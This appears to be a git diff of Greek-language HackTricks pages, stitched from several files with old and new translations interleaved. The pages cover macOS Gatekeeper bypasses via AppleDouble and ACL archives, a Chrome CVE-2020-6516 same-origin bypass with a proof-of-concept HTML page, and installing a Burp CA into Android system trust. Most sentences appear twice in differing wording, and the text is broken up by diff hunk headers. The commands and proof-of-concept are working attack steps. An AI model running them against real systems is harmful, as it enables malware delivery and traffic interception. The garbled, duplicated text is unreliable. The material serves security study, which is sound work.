Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η αναπαράσταση κειμένου ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** με ένα ACL που εμποδίζει άλλα xattrs να γραφτούν σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -359,24 +378,20 @@ python3 -m http.server
Ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
Σημειώστε ότι αυτό μπορεί επίσης να εκμεταλλευτεί με το AppleArchives:
Σημειώστε ότι αυτό θα μπορούσε επίσης να εκμεταλλευτείται με το AppleArchives:
```bash
mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
Ανακαλύφθηκε ότι **το Google Chrome δεν έθετε το χαρακτηριστικό καραντίνας** σε ληφθέντα αρχεία λόγω ορισμένων εσωτερικών προβλημάτων του macOS.
Ανακαλύφθηκε ότι το **Google Chrome δεν έθετε το χαρακτηριστικό καραντίνας** σε κατεβασμένα αρχεία λόγω ορισμένων εσωτερικών προβλημάτων του macOS.
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, αυτό βοηθά στην αντιγραφή των χαρακτηριστικών των αρχείων **σε διάφορες συσκευές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν είχε το χαρακτηριστικό καραντίνας**.
{% code overflow="wrap" %}
Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, κάτι που βοηθά στην αντιγραφή των χαρακτηριστικών αρχείων **σε μηχανές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν έλαβε το χαρακτηριστικό καραντίνας**.
```bash
mkdir test
echo a > test/a
@ -388,9 +403,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
Με τη δυνατότητα δημιουργίας ενός αρχείου που δεν θα έχει το χαρακτηριστικό καραντίνας, ήταν **δυνατό να παρακάμψουμε το Gatekeeper**. Το κόλπο ήταν να **δημιουργήσουμε ένα αρχείο DMG εφαρμογή** χρησιμοποιώντας το συμβατικό όνομα AppleDouble (ξεκινάμε με `._`) και να δημιουργήσουμε ένα **ορατό αρχείο ως σύνδεσμος προς αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\
Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει το χαρακτηριστικό καραντίνας, θα **παρακάμπτει το Gatekeeper**.
Μπορώντας να δημιουργήσετε ένα αρχείο που δεν θα έχει το χαρακτηριστικό καραντίνας, **ήταν δυνατό να παρακάμψετε το Gatekeeper.** Το κόλπο ήταν να **δημιουργήσετε ένα αρχείο DMG εφαρμογής** χρησιμοποιώντας το συμβολισμό ονομασίας AppleDouble (ξεκινώντας με `._`) και να δημιουργήσετε ένα **ορατό αρχείο ως σύμβολο σε αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\
Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει το χαρακτηριστικό καραντίνας, θα **παρακάμψει το Gatekeeper**.
```bash
# Create an app bundle with the backdoor an call it app.app
@ -406,11 +420,10 @@ ln -s ._app.dmg s/app/app.dmg
echo "[+] compressing files"
aa archive -d s/ -o app.aar
```
### Αποτροπή του Quarantine xattr
#### Αποτροπή Χαρακτηριστικού Καραντίνας
Σε ένα πακέτο ".app", εάν το quarantine xattr δεν προστεθεί σε αυτό, όταν το εκτελέσετε **ο Gatekeeper δεν θα ενεργοποιηθεί**.
Σε ένα πακέτο ".app", αν το χαρακτηριστικό καραντίνας δεν προστεθεί σε αυτό, όταν το εκτελέσουμε **δεν θα ενεργοποιηθεί ο Gatekeeper**.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
</details>
{% embed url="https://websec.nl/" %}

View file

@ -1,10 +1,10 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,22 +12,25 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
**Αυτό είναι ένα σύνοψη του άρθρου [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
{% embed url="https://websec.nl/" %}
**Αυτό είναι ένα σύνοψη της δημοσίευσης [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Καταχώρηση Αρχείων στο Media Store
Για να καταχωρήσετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
Για να καταχωρήσετε τα αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
```bash
$ content query --uri content://media/external/file
```
Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζονται μόνο ο αναγνωριστικός αριθμός και η διαδρομή του κάθε ευρετηριασμένου αρχείου:
Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζοντας μόνο τον αναγνωριστή και τη διαδρομή κάθε ευρετηριασμένου αρχείου:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τις διαδρομές για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία manifest των εφαρμογών ή από τον πηγαίο κώδικα του πλαισίου εφαρμογών Android.
### Πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τα μονοπάτια για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία μεταδεδομένων της εφαρμογής ή τον πηγαίο κώδικα του Android framework.
### Πρόσβαση του Chrome σε Πάροχους Περιεχομένου
Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να επιδείξουμε αυτό, μπορεί να εισαχθεί ένα αρχείο στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:
Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να το επιδείξουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:
Εισαγωγή μιας προσαρμοσμένης καταχώρησης στο Media Store:
```bash
@ -43,21 +46,21 @@ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Το αρχείο μπορεί να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου.
Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστή του αρχείου.
Για παράδειγμα, για να εμφανιστούν οι αρχείο που σχετίζονται με μια συγκεκριμένη εφαρμογή:
Για παράδειγμα, για να εμφανιστούν τα αρχεία που σχετίζονται με μια συγκεκριμένη εφαρμογή:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Παράκαμψη του Same-Origin-Policy
### Chrome CVE-2020-6516: Διασπορά της Πολιτικής Ίδιας Προέλευσης
Το _Same Origin Policy_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες να αλληλεπιδρούν με πόρους από διαφορετικές προέλευσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στην αποτροπή διαρροών πληροφοριών και επιθέσεων cross-site request forgery. Ο Chrome θεωρεί το `content://` ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.
Η _Ίδια Προέλευση Πολιτική_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στο να αποτρέψει διαρροές πληροφοριών και απάτες αιτημάτων από διαφορετικές ιστοσελίδες. Ο Chrome θεωρεί το `content://` ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.
Ωστόσο, η CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονται μέσω ενός URL `content://`. Στην πράξη, ο κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, πράγμα που αποτελούσε σημαντικό πρόβλημα ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες της Android 10, όπου δεν είχε εφαρμοστεί η scoped storage.
Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στο Chrome που επέτρεπε τη διάβρωση των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην πράξη, κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, κάτι που αποτελούσε σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες του Android 10, όπου δεν είχε εφαρμοστεί η scoped αποθήκευση.
Το παρακάτω παράδειγμα επίδειξης αποδεικνύει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά τη μεταφόρτωσή του στον φάκελο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει το περιεχόμενο ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Το παράδειγμα που ακολουθεί δείχνει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά το ανέβασμά του στο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Παράδειγμα HTML επίδειξης:
Παράδειγμα HTML Απόδειξης:
```xml
<html>
<head>
@ -86,16 +89,20 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -10,17 +10,22 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Σε Εικονική Μηχανή
Καταρχάς, πρέπει να κατεβάσετε το πιστοποιητικό Der από το Burp. Μπορείτε να το κάνετε αυτό στο _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
![](<../../.gitbook/assets/image (367).png>)
**Εξαγάγετε το πιστοποιητικό σε μορφή Der** και ας το **μετατρέψουμε** σε μια μορφή που το **Android** θα μπορεί να **καταλάβει.** Σημειώστε ότι **για να διαμορφώσετε το πιστοποιητικό burp στη μηχανή Android στο AVD** πρέπει να **τρέξετε** αυτήν τη μηχανή **με** την επιλογή **`-writable-system`**.\
**Εξαγάγετε το πιστοποιητικό σε μορφή Der** και ας το **μετατρέψουμε** σε μια μορφή που το **Android** θα μπορεί να **καταλάβει.** Σημειώστε ότι **για να ρυθμίσετε το πιστοποιητικό burp στη μηχανή Android στο AVD** πρέπει να **τρέξετε** αυτήν τη μηχανή **με** την επιλογή **`-writable-system`**.\
Για παράδειγμα, μπορείτε να την τρέξετε ως:
{% code overflow="wrap" %}
@ -29,7 +34,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
Στη συνέχεια, για να **διαμορφώσετε το πιστοποιητικό του burp**, κάντε:
Στη συνέχεια, για **διαμόρφωση του πιστοποιητικού του burp**:
{% code overflow="wrap" %}
```bash
@ -44,39 +49,39 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
Μόλις το **μηχάνημα τελειώσει την επανεκκίνηση**, το πιστοποιητικό του burp θα είναι σε χρήση από αυτό!
Μόλις το **μηχάνημα τελειώσει την επανεκκίνηση**, το πιστοποιητικό burp θα είναι σε χρήση από αυτό!
## Χρησιμοποιώντας το Magisc
Αν **έχετε ρουτάρει τη συσκευή σας με το Magisc** (ίσως ένας εξομοιωτής), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό του Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το ανακατεύετε σε εγγράψιμη κατάσταση, υπάρχει άλλος τρόπος.
Αν **έχετε ρουτάρει τη συσκευή σας με το Magisc** (ίσως ένας εξομοιωτής), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το ανακατεύετε σε εγγράψιμη κατάσταση, υπάρχει κι άλλος τρόπος.
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) πρέπει να:
1. **Εγκαταστήσετε ένα πιστοποιητικό CA**: Απλά **σύρετε και αφήστε** το πιστοποιητικό Burp τύπου DER **αλλάζοντας την κατάληξη** σε `.crt` στο κινητό σας ώστε να αποθηκευτεί στον φάκελο Λήψεων και πηγαίνετε σε `Εγκατάσταση πιστοποιητικού` -> `Πιστοποιητικό CA`
1. **Εγκαταστήσετε ένα πιστοποιητικό CA**: Απλά **σύρετε και αφήστε** το πιστοποιητικό Burp σε μορφή DER **αλλάζοντας την επέκταση** σε `.crt` στο κινητό σας ώστε να αποθηκευτεί στον φάκελο Λήψεων και πηγαίνετε σε `Εγκατάσταση πιστοποιητικού` -> `Πιστοποιητικό CA`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
* Ελέγξτε ότι το πιστοποιητικό αποθηκεύτηκε σωστά πηγαίνοντας σε `Αξιόπιστα διαπιστευτήρια` -> `ΧΡΗΣΤΗΣ`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Κάντε το System εμπιστευτικό**: Κατεβάστε το module του Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα αρχείο .zip), **σύρετε και αφήστε το** στο τηλέφωνο, πηγαίνετε στην εφαρμογή Magics στο τηλέφωνο στην ενότητα **`Ενότητες`**, κάντε κλικ στο **`Εγκατάσταση από αποθήκευση`**, επιλέξτε το module `.zip` και μόλις εγκατασταθεί κάντε **επανεκκίνηση** του τηλεφώνου:
2. **Κάντε το System εμπιστευτικό**: Κατεβάστε το module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα αρχείο .zip), **σύρετε και αφήστε το** στο τηλέφωνο, πηγαίνετε στην εφαρμογή Magics στο τηλέφωνο στην ενότητα **`Ενότητες`**, κάντε κλικ στο **`Εγκατάσταση από αποθήκευση`**, επιλέξτε το module `.zip` και μόλις εγκατασταθεί κάντε **επανεκκίνηση** του τηλεφώνου:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
* Μετά την επανεκκίνηση, πηγαίνετε σε `Αξιόπιστα διαπιστευτήρια` -> `ΣΥΣΤΗΜΑ` και ελέγξτε αν το πιστοποιητικό της Postswigger είναι εκεί
* Μετά την επανεκκίνηση, πηγαίνετε σε `Αξιόπιστα διαπιστευτήρια` -> `ΣΥΣΤΗΜΑ` και ελέγξτε αν το πιστοποιητικό Postswigger είναι εκεί
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
## Μετά το Android 14
Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε μια σημαντική αλλαγή στη χειρισμό των πιστοποιητικών Αρχής Πιστοποίησης (CA) που εμπιστεύονται το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα ριζών, που επέτρεπε την άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, ένας κατάλογος εντός της διαδρομής **`/apex`**, η οποία είναι αναπόσπαστη φύσει.
Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε μια σημαντική αλλαγή στη χειρισμό των πιστοποιητικών αρχής (CA) που εμπιστεύονται το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα ρουτ, που επέτρεπε την άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, ένας κατάλογος εντός της διαδρομής **`/apex`**, η οποία είναι αναπόσπαστη από φύσης.
Οι προσπάθειες επανατοποθέτησης της διαδρομής **APEX cacerts** σε εγγράψιμη κατάσταση αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποπροσάρτησης ή επικάλυψης του καταλόγου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αναποσταστικότητα. Οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικών ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο γεγονός ότι η τοποθέτηση του **`/apex`** έχει ρυθμιστεί με ιδιωτική προώθηση, εξασφαλίζοντας ότι οι τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες.
Οι προσπάθειες επανατοποθέτησης της διαδρομής **APEX cacerts** σε εγγράψιμη κατάσταση αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποπροσάρτησης ή επικάλυψης του καταλόγου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αναποστασιότητα. Οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικών ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο γεγονός ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ιδιωτική προώθηση, εξασφαλίζοντας ότι οι τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες.
Η εκκίνηση του Android περιλαμβάνει τη διαδικασία `init`, η οποία, κατά την έναρξη του λειτουργικού συστήματος, εκκινεί επίσης τη διαδικασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο χώρο προσάρτησης που περιλαμβάνει μια ιδιωτική τοποθέτηση **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτό τον κατάλογο από άλλες διεργασίες.
Η εκκίνηση του Android περιλαμβάνει τη διαδικασία `init`, η οποία, κατά την έναρξη του λειτουργικού συστήματος, εκκινά επίσης τη διαδικασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο χώρο προσάρτησης που περιλαμβάνει μια ιδιωτική τοποθέτηση **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτό τον κατάλογο από άλλες διεργασίες.
Ωστόσο, υπάρχει ένα παράκαμψη για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που εμπιστεύονται το σύστημα εντός του καταλόγου **`/apex`**. Αυτό περιλαμβάνει τη χειροκίνητη επανατοποθέτηση του **`/apex`** για την κατάργηση της ιδιωτικής προώθησης, καθιστώντας το εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποπροσάρτηση του καταλόγου **`/apex/com.android.conscrypt`** για την εξάλειψη του περιορισμού μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν ανατροπές συστήματος. Για να εξασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται η επανεκκίνηση του `system_server`, η οποία επανεκκινεί όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση.
Ωστόσο, υπάρχει ένα παράκαμψη για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που εμπιστεύονται το σύστημα εντός του καταλόγου **`/apex`**. Αυτό περιλαμβάνει τη χειροκίνητη επανατοποθέτηση του **`/apex`** για την κατάργηση της ιδιωτικής προώθησης, καθιστώντας το εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποπροσάρτηση του καταλόγου **`/apex/com.android.conscrypt`** για την εξάλειψη του περιορισμού μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν κρασαρίσματα του συστήματος. Για να εξασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται η επανεκκίνηση του `system_server`, η οποία επανεκκινεί όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
